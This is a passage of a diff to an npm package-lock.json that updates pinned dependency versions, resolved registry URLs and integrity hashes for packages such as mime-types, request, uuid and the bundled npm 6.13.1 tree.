"https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", + "version": "2.1.25", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.25.tgz", + "integrity": "sha512-5KhStqB5xpTAeGqKBAMgwaYMnQik7teQN4IAzC7npDv6kzeU6prfkR67bc87J1kWMPGkoaZSq1npmexMgkmEVg==", "requires": { - "mime-db": "1.40.0" + "mime-db": "1.42.0" } }, "nan": { @@ -10627,55 +11384,55 @@ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { - "version": "1.1.32", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz", + "integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.3", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.25", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.2.0", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.3" } }, "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==" }, "tough-cookie": { "version": "2.4.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" + "psl": "1.4.0", + "punycode": "1.4.1" } }, "uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz", + "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ==" } } }, @@ -10685,8 +11442,8 @@ "integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "~1.0.31" + "inherits": "2.0.3", + "readable-stream": "1.0.34" } }, "nopt": { @@ -10694,7 +11451,7 @@ "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", "requires": { - "abbrev": "1" + "abbrev": "1.0.9" } }, "normalize-package-data": { @@ -10702,10 +11459,10 @@ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" + "hosted-git-info": "2.7.1", + "is-builtin-module": "1.0.0", + "semver": "4.3.6", + "validate-npm-package-license": "3.0.4" } }, "normalize-path": { @@ -10714,7 +11471,7 @@ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", "dev": true, "requires": { - "remove-trailing-separator": "^1.0.1" + "remove-trailing-separator": "1.0.2" } }, "normalize.css": { @@ -10723,136 +11480,141 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz", - "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==", + "version": "6.13.1", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.13.1.tgz", + "integrity": "sha512-2awiDZ9JuV/UoF4oXGhekCURC2X+eLLRz9/e58AGrPDlpzyn7e4oCaZmkzyEaisxM7jSoFKNnZhzB4xbmbM0Yw==", "requires": { - "JSONStream": "^1.3.4", - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "aproba": "~1.2.0", - "archy": "~1.0.0", - "bin-links": "^1.1.2", - "bluebird": "~3.5.1", - "byte-size": "^4.0.3", - "cacache": "^11.2.0", - "call-limit": "~1.1.0", - "chownr": "~1.0.1", - "ci-info": "^1.4.0", - "cli-columns": "^3.1.2", - "cli-table3": "^0.5.0", - "cmd-shim": "~2.0.2", - "columnify": "~1.5.4", - "config-chain": "~1.1.11", - "debuglog": "*", - "detect-indent": "~5.0.0", - "detect-newline": "^2.1.0", - "dezalgo": "~1.0.3", - "editor": "~1.0.0", - "figgy-pudding": "^3.4.1", - "find-npm-prefix": "^1.0.2", - "fs-vacuum": "~1.2.10", - "fs-write-stream-atomic": "~1.0.10", - "gentle-fs": "^2.0.1", - "glob": "~7.1.2", - "graceful-fs": "~4.1.11", - "has-unicode": "~2.0.1", - "hosted-git-info": "^2.7.1", - "iferr": "^1.0.2", - "imurmurhash": "*", - "inflight": "~1.0.6", - "inherits": "~2.0.3", - "ini": "^1.3.5", - "init-package-json": "^1.10.3", - "is-cidr": "^2.0.6", - "json-parse-better-errors": "^1.0.2", - "lazy-property": "~1.0.0", - "libcipm": "^2.0.2", - "libnpmhook": "^4.0.1", - "libnpx": "^10.2.0", - "lock-verify": "^2.0.2", - "lockfile": "^1.0.4", - "lodash._baseindexof": "*", - "lodash._baseuniq": "~4.6.0", - "lodash._bindcallback": "*", - "lodash._cacheindexof": "*", - "lodash._createcache": "*", - "lodash._getnative": "*", - "lodash.clonedeep": "~4.5.0", - "lodash.restparam": "*", - "lodash.union": "~4.6.0", - "lodash.uniq": "~4.5.0", - "lodash.without": "~4.4.0", - "lru-cache": "^4.1.3", - "meant": "~1.0.1", - "mississippi": "^3.0.0", - "mkdirp": "~0.5.1", - "move-concurrently": "^1.0.1", - "node-gyp": "^3.8.0", - "nopt": "~4.0.1", - "normalize-package-data": "~2.4.0", - "npm-audit-report": "^1.3.1", - "npm-cache-filename": "~1.0.2", - "npm-install-checks": "~3.0.0", - "npm-lifecycle": "^2.1.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.11", - "npm-pick-manifest": "^2.1.0", - "npm-profile": "^3.0.2", - "npm-registry-client": "^8.6.0", - "npm-registry-fetch": "^1.1.0", - "npm-user-validate": "~1.0.0", - "npmlog": "~4.1.2", - "once": "~1.4.0", - "opener": "^1.5.0", - "osenv": "^0.1.5", - "pacote": "^8.1.6", - "path-is-inside": "~1.0.2", - "promise-inflight": "~1.0.1", - "qrcode-terminal": "^0.12.0", - "query-string": "^6.1.0", - "qw": "~1.0.1", - "read": "~1.0.7", - "read-cmd-shim": "~1.0.1", - "read-installed": "~4.0.3", - "read-package-json": "^2.0.13", - "read-package-tree": "^5.2.1", - "readable-stream": "^2.3.6", - "readdir-scoped-modules": "*", - "request": "^2.88.0", - "retry": "^0.12.0", - "rimraf": "~2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "sha": "~2.0.1", - "slide": "~1.1.6", - "sorted-object": "~2.0.1", - "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.0", - "stringify-package": "^1.0.0", - "tar": "^4.4.6", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", + "JSONStream": "1.3.5", + "abbrev": "1.1.1", + "ansicolors": "0.3.2", + "ansistyles": "0.1.3", + "aproba": "2.0.0", + "archy": "1.0.0", + "bin-links": "1.1.3", + "bluebird": "3.5.5", + "byte-size": "5.0.1", + "cacache": "12.0.3", + "call-limit": "1.1.1", + "chownr": "1.1.3", + "ci-info": "2.0.0", + "cli-columns": "3.1.2", + "cli-table3": "0.5.1", + "cmd-shim": "3.0.3", + "columnify": "1.5.4", + "config-chain": "1.1.12", + "debuglog": "1.0.1", + "detect-indent": "5.0.0", + "detect-newline": "2.1.0", + "dezalgo": "1.0.3", + "editor": "1.0.0", + "figgy-pudding": "3.5.1", + "find-npm-prefix": "1.0.2", + "fs-vacuum": "1.2.10", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.2.1", + "glob": "7.1.4", + "graceful-fs": "4.2.3", + "has-unicode": "2.0.1", + "hosted-git-info": "2.8.5", + "iferr": "1.0.2", + "imurmurhash": "0.1.4", + "infer-owner": "1.0.4", + "inflight": "1.0.6", + "inherits": "2.0.4", + "ini": "1.3.5", + "init-package-json": "1.10.3", + "is-cidr": "3.0.0", + "json-parse-better-errors": "1.0.2", + "lazy-property": "1.0.0", + "libcipm": "4.0.7", + "libnpm": "3.0.1", + "libnpmaccess": "3.0.2", + "libnpmhook": "5.0.3", + "libnpmorg": "1.0.1", + "libnpmsearch": "2.0.2", + "libnpmteam": "1.0.2", + "libnpx": "10.2.0", + "lock-verify": "2.1.0", + "lockfile": "1.0.4", + "lodash._baseindexof": "3.1.0", + "lodash._baseuniq": "4.6.0", + "lodash._bindcallback": "3.0.1", + "lodash._cacheindexof": "3.0.2", + "lodash._createcache": "3.1.2", + "lodash._getnative": "3.9.1", + "lodash.clonedeep": "4.5.0", + "lodash.restparam": "3.6.1", + "lodash.union": "4.6.0", + "lodash.uniq": "4.5.0", + "lodash.without": "4.4.0", + "lru-cache": "5.1.1", + "meant": "1.0.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "node-gyp": "5.0.5", + "nopt": "4.0.1", + "normalize-package-data": "2.5.0", + "npm-audit-report": "1.3.2", + "npm-cache-filename": "1.0.2", + "npm-install-checks": "3.0.2", + "npm-lifecycle": "3.1.4", + "npm-package-arg": "6.1.1", + "npm-packlist": "1.4.6", + "npm-pick-manifest": "3.0.2", + "npm-profile": "4.0.2", + "npm-registry-fetch": "4.0.2", + "npm-user-validate": "1.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "opener": "1.5.1", + "osenv": "0.1.5", + "pacote": "9.5.9", + "path-is-inside": "1.0.2", + "promise-inflight": "1.0.1", + "qrcode-terminal": "0.12.0", + "query-string": "6.8.2", + "qw": "1.0.1", + "read": "1.0.7", + "read-cmd-shim": "1.0.5", + "read-installed": "4.0.3", + "read-package-json": "2.1.0", + "read-package-tree": "5.3.1", + "readable-stream": "3.4.0", + "readdir-scoped-modules": "1.1.0", + "request": "2.88.0", + "retry": "0.12.0", + "rimraf": "2.6.3", + "safe-buffer": "5.1.2", + "semver": "5.7.1", + "sha": "3.0.0", + "slide": "1.1.6", + "sorted-object": "2.0.1", + "sorted-union-stream": "2.1.3", + "ssri": "6.0.1", + "stringify-package": "1.0.1", + "tar": "4.4.13", + "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", - "umask": "~1.1.0", - "unique-filename": "~1.1.0", - "unpipe": "~1.0.0", - "update-notifier": "^2.5.0", - "uuid": "^3.3.2", - "validate-npm-package-license": "^3.0.4", - "validate-npm-package-name": "~3.0.0", - "which": "^1.3.1", - "worker-farm": "^1.6.0", - "write-file-atomic": "^2.3.0" + "umask": "1.1.0", + "unique-filename": "1.1.1", + "unpipe": "1.0.0", + "update-notifier": "2.5.0", + "uuid": "3.3.3", + "validate-npm-package-license": "3.0.4", + "validate-npm-package-name": "3.0.0", + "which": "1.3.1", + "worker-farm": "1.7.0", + "write-file-atomic": "2.4.3" }, "dependencies": { "JSONStream": { - "version": "1.3.4", + "version": "1.3.5", "bundled": true, "requires": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" + "jsonparse": "1.3.1", + "through": "2.3.8" } }, "abbrev": { @@ -10860,34 +11622,34 @@ "bundled": true }, "agent-base": { - "version": "4.2.0", + "version": "4.3.0", "bundled": true, "requires": { - "es6-promisify": "^5.0.0" + "es6-promisify": "5.0.0" } }, "agentkeepalive": { - "version": "3.4.1", + "version": "3.5.2", "bundled": true, "requires": { - "humanize-ms": "^1.2.1" + "humanize-ms": "1.2.1" } }, "ajv": { "version": "5.5.2", "bundled": true, "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } }, "ansi-align": { "version": "2.0.0", "bundled": true, "requires": { - "string-width": "^2.0.0" + "string-width": "2.1.1" } }, "ansi-regex": { @@ -10898,7 +11660,7 @@ "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.1" } }, "ansicolors": { @@ -10910,7 +11672,7 @@ "bundled": true }, "aproba": { - "version": "1.2.0", + "version": "2.0.0", "bundled": true }, "archy": { @@ -10921,8 +11683,30 @@ "version": "1.1.4", "bundled": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "asap": { @@ -10933,7 +11717,7 @@ "version": "0.2.4", "bundled": true, "requires": { - "safer-buffer": "~2.1.0" + "safer-buffer": "2.1.2" } }, "assert-plus": { @@ -10961,49 +11745,42 @@ "bundled": true, "optional": true, "requires": { - "tweetnacl": "^0.14.3" + "tweetnacl": "0.14.5" } }, "bin-links": { - "version": "1.1.2", + "version": "1.1.3", "bundled": true, "requires": { - "bluebird": "^3.5.0", - "cmd-shim": "^2.0.2", - "gentle-fs": "^2.0.0", - "graceful-fs": "^4.1.11", - "write-file-atomic": "^2.3.0" - } - }, - "block-stream": { - "version": "0.0.9", - "bundled": true, - "requires": { - "inherits": "~2.0.0" + "bluebird": "3.5.5", + "cmd-shim": "3.0.3", + "gentle-fs": "2.2.1", + "graceful-fs": "4.2.3", + "write-file-atomic": "2.4.3" } }, "bluebird": { - "version": "3.5.1", + "version": "3.5.5", "bundled": true }, "boxen": { "version": "1.3.0", "bundled": true, "requires": { - "ansi-align": "^2.0.0", - "camelcase": "^4.0.0", - "chalk": "^2.0.1", - "cli-boxes": "^1.0.0", - "string-width": "^2.0.0", - "term-size": "^1.2.0", - "widest-line": "^2.0.0" + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.4.1", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "2.0.0" } }, "brace-expansion": { "version": "1.1.11", "bundled": true, "requires": { - "balanced-match": "^1.0.0", + "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, @@ -11011,10 +11788,6 @@ "version": "1.0.0", "bundled": true }, - "builtin-modules": { - "version": "1.1.1", - "bundled": true - }, "builtins": { "version": "1.0.3", "bundled": true @@ -11024,31 +11797,32 @@ "bundled": true }, "byte-size": { - "version": "4.0.3", + "version": "5.0.1", "bundled": true }, "cacache": { - "version": "11.2.0", + "version": "12.0.3", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "figgy-pudding": "^3.1.0", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^6.0.0", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" + "bluebird": "3.5.5", + "chownr": "1.1.3", + "figgy-pudding": "3.5.1", + "glob": "7.1.4", + "graceful-fs": "4.2.3", + "infer-owner": "1.0.4", + "lru-cache": "5.1.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.3", + "ssri": "6.0.1", + "unique-filename": "1.1.1", + "y18n": "4.0.0" } }, "call-limit": { - "version": "1.1.0", + "version": "1.1.1", "bundled": true }, "camelcase": { @@ -11067,24 +11841,24 @@ "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "chownr": { - "version": "1.0.1", + "version": "1.1.3", "bundled": true }, "ci-info": { - "version": "1.4.0", + "version": "2.0.0", "bundled": true }, "cidr-regex": { - "version": "2.0.9", + "version": "2.0.10", "bundled": true, "requires": { - "ip-regex": "^2.1.0" + "ip-regex": "2.1.0" } }, "cli-boxes": { @@ -11095,26 +11869,26 @@ "version": "3.1.2", "bundled": true, "requires": { - "string-width": "^2.0.0", - "strip-ansi": "^3.0.1" + "string-width": "2.1.1", + "strip-ansi": "3.0.1" } }, "cli-table3": { - "version": "0.5.0", + "version": "0.5.1", "bundled": true, "requires": { - "colors": "^1.1.2", - "object-assign": "^4.1.0", - "string-width": "^2.1.1" + "colors": "1.3.3", + "object-assign": "4.1.1", + "string-width": "2.1.1" } }, "cliui": { "version": "4.1.0", "bundled": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { "ansi-regex": { @@ -11125,7 +11899,7 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -11135,11 +11909,11 @@ "bundled": true }, "cmd-shim": { - "version": "2.0.2", + "version": "3.0.3", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "mkdirp": "~0.5.0" + "graceful-fs": "4.2.3", + "mkdirp": "0.5.1" } }, "co": { @@ -11154,7 +11928,7 @@ "version": "1.9.1", "bundled": true, "requires": { - "color-name": "^1.1.1" + "color-name": "1.1.3" } }, "color-name": { @@ -11162,7 +11936,7 @@ "bundled": true }, "colors": { - "version": "1.1.2", + "version": "1.3.3", "bundled": true, "optional": true }, @@ -11170,15 +11944,15 @@ "version": "1.5.4", "bundled": true, "requires": { - "strip-ansi": "^3.0.0", - "wcwidth": "^1.0.0" + "strip-ansi": "3.0.1", + "wcwidth": "1.0.1" } }, "combined-stream": { "version": "1.0.6", "bundled": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "concat-map": { @@ -11189,30 +11963,52 @@ "version": "1.6.2", "bundled": true, "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" + "buffer-from": "1.0.0", + "inherits": "2.0.4", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "config-chain": { - "version": "1.1.11", + "version": "1.1.12", "bundled": true, "requires": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" + "ini": "1.3.5", + "proto-list": "1.2.4" } }, "configstore": { "version": "3.1.2", "bundled": true, "requires": { - "dot-prop": "^4.1.0", - "graceful-fs": "^4.1.2", - "make-dir": "^1.0.0", - "unique-string": "^1.0.0", - "write-file-atomic": "^2.0.0", - "xdg-basedir": "^3.0.0" + "dot-prop": "4.2.0", + "graceful-fs": "4.2.3", + "make-dir": "1.3.0", + "unique-string": "1.0.0", + "write-file-atomic": "2.4.3", + "xdg-basedir": "3.0.0" } }, "console-control-strings": { @@ -11223,14 +12019,18 @@ "version": "1.0.5", "bundled": true, "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.3", + "run-queue": "1.0.3" }, "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true + }, "iferr": { "version": "0.1.5", "bundled": true @@ -11245,16 +12045,30 @@ "version": "3.0.2", "bundled": true, "requires": { - "capture-stack-trace": "^1.0.0" + "capture-stack-trace": "1.0.0" } }, "cross-spawn": { "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "lru-cache": "4.1.5", + "shebang-command": "1.2.0", + "which": "1.3.1" + }, + "dependencies": { + "lru-cache": { + "version": "4.1.5", + "bundled": true, + "requires": { + "pseudomap": "1.0.2", + "yallist": "2.1.2" + } + }, + "yallist": { + "version": "2.1.2", + "bundled": true + } } }, "crypto-random-string": { @@ -11269,7 +12083,7 @@ "version": "1.14.1", "bundled": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "debug": { @@ -11305,7 +12119,14 @@ "version": "1.0.3", "bundled": true, "requires": { - "clone": "^1.0.2" + "clone": "1.0.4" + } + }, + "define-properties": { + "version": "1.1.3", + "bundled": true, + "requires": { + "object-keys": "1.0.12" } }, "delayed-stream": { @@ -11328,15 +12149,15 @@ "version": "1.0.3", "bundled": true, "requires": { - "asap": "^2.0.0", - "wrappy": "1" + "asap": "2.0.6", + "wrappy": "1.0.2" } }, "dot-prop": { "version": "4.2.0", "bundled": true, "requires": { - "is-obj": "^1.0.0" + "is-obj": "1.0.1" } }, "dotenv": { @@ -11351,10 +12172,32 @@ "version": "3.6.0", "bundled": true, "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "inherits": "2.0.4", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "ecc-jsbn": { @@ -11362,8 +12205,8 @@ "bundled": true, "optional": true, "requires": { - "jsbn": "~0.1.0", - "safer-buffer": "^2.1.0" + "jsbn": "0.1.1", + "safer-buffer": "2.1.2" } }, "editor": { @@ -11374,16 +12217,20 @@ "version": "0.1.12", "bundled": true, "requires": { - "iconv-lite": "~0.4.13" + "iconv-lite": "0.4.23" } }, "end-of-stream": { "version": "1.4.1", "bundled": true, "requires": { - "once": "^1.4.0" + "once": "1.4.0" } }, + "env-paths": { + "version": "1.0.0", + "bundled": true + }, "err-code": { "version": "1.1.2", "bundled": true @@ -11392,18 +12239,38 @@ "version": "0.1.7", "bundled": true, "requires": { - "prr": "~1.0.1" + "prr": "1.0.1" + } + }, + "es-abstract": { + "version": "1.12.0", + "bundled": true, + "requires": { + "es-to-primitive": "1.2.0", + "function-bind": "1.1.1", + "has": "1.0.3", + "is-callable": "1.1.4", + "is-regex": "1.0.4" + } + }, + "es-to-primitive": { + "version": "1.2.0", + "bundled": true, + "requires": { + "is-callable": "1.1.4", + "is-date-object": "1.0.1", + "is-symbol": "1.0.2" } }, "es6-promise": { - "version": "4.2.4", + "version": "4.2.8", "bundled": true }, "es6-promisify": { "version": "5.0.0", "bundled": true, "requires": { - "es6-promise": "^4.0.3" + "es6-promise": "4.2.8" } }, "escape-string-regexp": { @@ -11414,13 +12281,19 @@ "version": "0.7.0", "bundled": true, "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true + } } }, "extend": { @@ -11440,7 +12313,7 @@ "bundled": true }, "figgy-pudding": { - "version": "3.4.1", + "version": "3.5.1", "bundled": true }, "find-npm-prefix": { @@ -11451,15 +12324,37 @@ "version": "2.1.0", "bundled": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } }, "flush-write-stream": { "version": "1.0.3", "bundled": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" + "inherits": "2.0.4", + "readable-stream": "2.3.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "forever-agent": { @@ -11470,48 +12365,100 @@ "version": "2.3.2", "bundled": true, "requires": { - "asynckit": "^0.4.0", + "asynckit": "0.4.0", "combined-stream": "1.0.6", - "mime-types": "^2.1.12" + "mime-types": "2.1.19" } }, "from2": { "version": "2.3.0", "bundled": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" + "inherits": "2.0.4", + "readable-stream": "2.3.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "fs-minipass": { - "version": "1.2.5", + "version": "1.2.7", "bundled": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.9.0" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.3" + } + } } }, "fs-vacuum": { "version": "1.2.10", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "path-is-inside": "^1.0.1", - "rimraf": "^2.5.2" + "graceful-fs": "4.2.3", + "path-is-inside": "1.0.2", + "rimraf": "2.6.3" } }, "fs-write-stream-atomic": { "version": "1.0.10", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" + "graceful-fs": "4.2.3", + "iferr": 